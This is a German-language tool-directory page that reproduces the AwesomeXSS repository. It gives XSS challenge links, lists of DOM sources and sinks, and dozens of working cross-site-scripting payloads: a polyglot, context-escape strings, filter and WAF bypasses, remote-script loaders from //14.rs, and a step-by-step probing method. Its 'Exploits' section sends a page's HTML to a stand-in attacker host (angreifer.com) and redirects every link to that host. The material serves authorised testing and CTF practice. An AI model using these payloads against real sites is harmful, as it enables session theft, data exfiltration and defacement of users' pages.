Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
AwesomeXSS — Awesome XSS stuff | Kitploit
Tools/GitHubGitHub/s0md3v/awesomexss
Payload GenerationWAF BypassWeb SecurityCTFPapers & ResearchLearning & EducationCurated ResourcesLearning Paths & CoursesLabs & Practice
GitHubs0md3v/awesomexss

AwesomeXSS

Awesome XSS stuff

Repository anzeigen
5.1k782vor 1 JahrVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

AwesomeXSS

Dieses Repository ist eine Sammlung von Awesome XSS-Ressourcen. Beiträge sind willkommen und sollten über ein Issue eingereicht werden.

Awesome Inhalte

  • Challenges
  • Lektüre & Präsentationen
  • Werkzeuge
  • Mindmaps
  • DOM XSS
  • Payloads
  • Polyglots
  • Tags und Event-Handler
  • Kontextwechsel
    • HTML-Kontext
    • Attribut-Kontext
    • JavaScript-Kontext
  • Confirm-Varianten
  • Exploits
  • Probing
  • Umgehung
  • Kodierung
  • Tipps & Tricks

Awesome Challenges

  • prompt.ml
  • alf.nu/alert1
  • xss-game.appspot.com
  • polyglot.innerht.ml
  • sudo.co.il/xss
  • root-me.org
  • chefsecure.com
  • wechall.net
  • codelatte.id/labs/xss

Awesome Lektüre & Präsentationen

  • Bypassing XSS Detection Mechanisms
  • XSS in Facebook via PNG Content Type
  • How I met your girlfriend
  • How to Find 1,352 Wordpress XSS Plugin Vulnerabilities in one hour
  • Blind XSS
  • Copy Pest

Awesome Werkzeuge

  • XSStrike
  • BeEF
  • JShell

Awesome XSS Mindmaps

Eine schöne XSS-Mindmap von Jack Masa, hier

Awesome DOM XSS

  • Geht Ihre Eingabe in eine Senke? Verwundbar
  • Geht sie nicht? Nicht verwundbar

Quelle: Eine Eingabe, die von einer externen (nicht vertrauenswürdigen) Quelle gesteuert werden könnte.

root@kitploit:~
document.URL
document.documentURI
document.URLUnencoded (IE 5.5 or later Only)
document.baseURI
location
location.href
location.search
location.hash
location.pathname
document.cookie
document.referrer
window.name
history.pushState()
history.replaceState()
localStorage
sessionStorage

Senke: Eine potenziell gefährliche Methode, die zu einer Sicherheitslücke führen könnte. In diesem Fall eine DOM-basierte XSS.

root@kitploit:~
eval
Function
setTimeout
setInterval
setImmediate
execScript
crypto.generateCRMFRequest
ScriptElement.src
ScriptElement.text
ScriptElement.textContent
ScriptElement.innerText
anyTag.onEventName
document.write
document.writeln
anyElement.innerHTML
Range.createContextualFragment
window.location
document.location

Diese umfassende Liste von Senken und Quellen stammt von domxsswiki.

Awesome Payloads

root@kitploit:~
<A/hREf="j%0aavas%09cript%0a:%09con%0afirm%0d``">z
<d3"<"/onclick="1>[confirm``]"<">z
<d3/onmouseenter=[2].find(confirm)>z
<details open ontoggle=confirm()>
<script y="><">/*<script* */prompt()</script
<w="/x="y>"/ondblclick=`<`[confir\u006d``]>z
<a href="javascript%26colon;alert(1)">click
<a href=javas&#99;ript:alert(1)>click
<script/"<a"/src=data:=".<a,[8].some(confirm)>
<svg/x=">"/onload=confirm()//
<--` --!>
<svg%0Aonload=%09((pro\u006dpt))()//
<sCript x>(((confirm)))``</scRipt x>
<svg </onload ="1> (_=prompt,_(1)) "">
<!--><script src=//14.rs>
<embed src=//14.rs>
<script x=">" src=//15.rs></script>
<!'/*"/*/'/*/"/*--></Script><Image SrcSet=K */; OnError=confirm`1` //>
x
<svg onload=write()>

Awesome Polyglots

Hier ist ein XSS-Polyglot, den ich erstellt habe und der aus über 20 Kontexten ausbrechen kann:

root@kitploit:~
%0ajavascript:`/*\"/*-->&lt;svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`

Erklärung, wie es funktioniert, hier

Awesome Tags & Event-Handler

  • 105 Event-Handler mit Beschreibung
  • 200 Event-Handler ohne Beschreibung

Einige weniger erkannte Event-Handler

root@kitploit:~
ontoggle
onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel

Einige HTML-Tags, die Sie verwenden werden

root@kitploit:~
img
svg
body
html
embed
script
object
details
isindex
iframe
audio
video

Awesome Kontextwechsel

HTML-Kontext

Fall: <tag>Sie suchten nach $input. </tag>

root@kitploit:~
<svg onload=alert()>
</tag><svg onload=alert()>

Attribut-Kontext

Fall: <tag attribute="$input">

root@kitploit:~
"><svg onload=alert()>
"><svg onload=alert()><b attr="
" onmouseover=alert() "
"onmouseover=alert()//
"autofocus/onfocus="alert()

JavaScript-Kontext

Fall: <script> var new something = '$input'; </script>

root@kitploit:~
'-alert()-'
'-alert()//'
'}alert(1);{'
'}%0Aalert(1);%0A{'
</script><svg onload=alert()>

Awesome Confirm-Varianten

Ja, confirm, weil alert zu mainstream ist.

root@kitploit:~
confirm()
confirm``
(confirm``)
{confirm``}
[confirm``]
(((confirm)))``
co\u006efirm()
new class extends confirm``{}
[8].find(confirm)
[8].map(confirm)
[8].some(confirm)
[8].every(confirm)
[8].filter(confirm)
[8].findIndex(confirm)

Awesome Exploits

Alle Links ersetzen
root@kitploit:~
Array.from(document.getElementsByTagName("a")).forEach(function(i) {
  i.href = "https://angreifer.com";
});
Quellcode-Dieb
root@kitploit:~
<svg/onload="(new Image()).src='//angreifer.com/'%2Bdocument.documentElement.innerHTML">

Awesome Probing

Wenn nichts davon funktioniert, werfen Sie einen Blick in den Abschnitt Awesome Umgehung.

Geben Sie zunächst eine nicht-bösartige Zeichenfolge wie d3v ein und sehen Sie sich den Quellcode an, um eine Vorstellung von der Anzahl und den Kontexten der Reflexionen zu bekommen.
Überprüfen Sie nun für den Attributkontext, ob doppelte Anführungszeichen (") gefiltert werden, indem Sie x"d3v eingeben. Wenn es zu x&quot;d3v geändert wird, ist die Ausgabe wahrscheinlich korrekt maskiert. Wenn dies der Fall ist, versuchen Sie dasselbe für einfache Anführungszeichen ('), indem Sie x'd3v eingeben. Wenn es zu x&apos; geändert wird, haben Sie Pech. Das Einzige, was Sie versuchen können, ist die Kodierung.
Wenn die Anführungszeichen nicht gefiltert werden, können Sie einfach die Payloads aus dem Abschnitt Awesome Kontextwechsel ausprobieren.
Überprüfen Sie für den JavaScript-Kontext, welche Anführungszeichen verwendet werden, z. B. ob sie Folgendes tun:

root@kitploit:~
variable = 'value' oder variable = "value"

Nehmen wir an, einfache Anführungszeichen (') werden verwendet. Geben Sie in diesem Fall x'd3v ein. Wenn es zu x\'d3v geändert wird, versuchen Sie, den Backslash () zu escapen, indem Sie einen Backslash zu Ihrer Probe hinzufügen, also x\'d3v. Wenn es funktioniert, verwenden Sie das folgende Payload:

root@kitploit:~
\'-alert()//

Wenn es jedoch zu x\\\'d3v geändert wird, können Sie nur noch versuchen, das Script-Tag selbst zu schließen, indem Sie Folgendes verwenden:

root@kitploit:~
</script><svg onload=alert()>

Für den einfachen HTML-Kontext lautet die Probe x<d3v. Wenn es zu x&gt;d3v geändert wird, ist eine ordnungsgemäße Sanitisierung vorhanden. Wenn es unverändert zurückgespiegelt wird, können Sie ein Dummy-Tag eingeben, um auf potenzielle Filter zu prüfen. Das Dummy-Tag, das ich gerne verwende, ist x<xxx>. Wenn es entfernt oder in irgendeiner Weise geändert wird, bedeutet dies, dass der Filter nach einem Paar von < und > sucht. Es kann einfach durch Folgendes umgangen werden:

root@kitploit:~
<svg onload=alert()//

oder folgendes (wird nicht in allen Fällen funktionieren):

root@kitploit:~
<svg onload=alert()

Wenn Ihr Dummy-Tag unverändert im Quellcode landet, verwenden Sie eines dieser Payloads:

root@kitploit:~
<svg onload=alert()>
<embed src=//14.rs>
<details open ontoggle=alert()>

Awesome Umgehung

Hinweis: Keines dieser Payloads verwendet einfache (') oder doppelte Anführungszeichen (").

  • Ohne Event-Handler
root@kitploit:~
<object data=javascript:confirm()>
<a href=javascript:confirm()>klicken Sie hier
<script src=//14.rs></script>
<script>confirm()</script>
  • Ohne Leerzeichen
root@kitploit:~
<svg/onload=confirm()>

  • Ohne Schrägstrich (/)
root@kitploit:~
<svg onload=confirm()>

  • Ohne Gleichheitszeichen (=)
root@kitploit:~
<script>confirm()</script>
  • Ohne schließende spitze Klammer (>)
root@kitploit:~
<svg onload=confirm()//
  • Ohne alert, confirm, prompt
root@kitploit:~
<script src=//14.rs></script>
<svg onload=co\u006efirm()>
<svg onload=z=co\u006efir\u006d,z()>
  • Ohne gültiges HTML-Tag
root@kitploit:~
<x onclick=confirm()>klicken Sie hier
<x ondrag=aconfirm()>ziehen Sie es
  • Umgehung der Tag-Blacklist
root@kitploit:~
</ScRipT>
</script
</script/>
</script x>

Awesome Kodierung

Awesome Tipps & Tricks

  • http(s):// kann zu // oder /\\ oder \\ verkürzt werden.
  • document.cookie kann zu cookie verkürzt werden. Dies gilt auch für andere DOM-Objekte.
  • alert und andere Popup-Funktionen benötigen keinen Wert, also hören Sie auf alert('XSS') zu schreiben und beginnen Sie mit alert().
  • Sie können // verwenden, um ein Tag zu schließen, anstatt >.
  • Ich habe festgestellt, dass confirm die am wenigsten erkannte Popup-Funktion ist, also hören Sie auf, alert zu verwenden.
  • Anführungszeichen um Attributwerte sind nicht notwendig, solange sie keine Leerzeichen enthalten. Sie können <script src=//14.rs> anstelle von verwenden.

Awesome Danksagungen

Alle Payloads wurden von mir erstellt, sofern nicht anders angegeben.

Tool herunterladen
HTMLZeichenNumerischBeschreibungHexCSS (ISO)JS (Oktal)URL
&quot;"&#34;Anführungszeichenu+0022\0022\42%22
&num;#&#35;Nummernzeichenu+0023\0023\43%23
&dollar;$&#36;Dollarzeichenu+0024\0024\44%24
&percnt;%&#37;Prozentzeichenu+0025\0025\45%25
&amp;&&#38;Kaufmanns-Undu+0026\0026\46%26
&apos;'&#39;Apostrophu+0027\0027\47%27
&lpar;(&#40;linke Klammeru+0028\0028\50%28
&rpar;)&#41;rechte Klammeru+0029\0029\51%29
&ast;*&#42;Sternchenu+002A\002a\52%2A
&plus;+&#43;Pluszeichenu+002B\002b\53%2B
&comma;,&#44;Kommau+002C\002c\54%2C
&minus;-&#45;Bindestrich-Minusu+002D\002d\55%2D
&period;.&#46;Punktu+002E\002e\56%2E
&sol;/&#47;Schrägstrichu+002F\002f\57%2F
&colon;:&#58;Doppelpunktu+003A\003a\72%3A
&semi;;&#59;Semikolonu+003B\003b\73%3B
&lt;<&#60;Kleiner-alsu+003C\003c\74%3C
&equals;=&#61;Gleichheitszeichenu+003D\003d\75%3D
&gt;>&#62;Größer-als-Zeichenu+003E\003e\76%3E
&quest;?&#63;Fragezeichenu+003F\003f\77%3F
&commat;@&#64;At-Zeichenu+0040\0040\100%40
&lsqb;[&#91;linke eckige Klammeru+005B\005b\133%5B
&bsol;\&#92;Backslashu+005C\005c\134%5C
&rsqb;]&#93;rechte eckige Klammeru+005D\005d\135%5D
&Hat;^&#94;Zirkumflexu+005E\005e\136%5E
&lowbar;_&#95;Unterstrichu+005F\005f\137%5F
&grave;`&#96;Gravis-Akzentu+0060\0060\u0060%60
&lcub;{&#123;linke geschweifte Klammeru+007b\007b\173%7b
&verbar;|&#124;senkrechter Strichu+007c\007c\174%7c
&rcub;}&#125;rechte geschweifte Klammeru+007d\007d\175%7d
<script src="//14.rs">
  • Das kürzeste HTML-Kontext-XSS-Payload ist <script src=//14.rs> (19 Zeichen)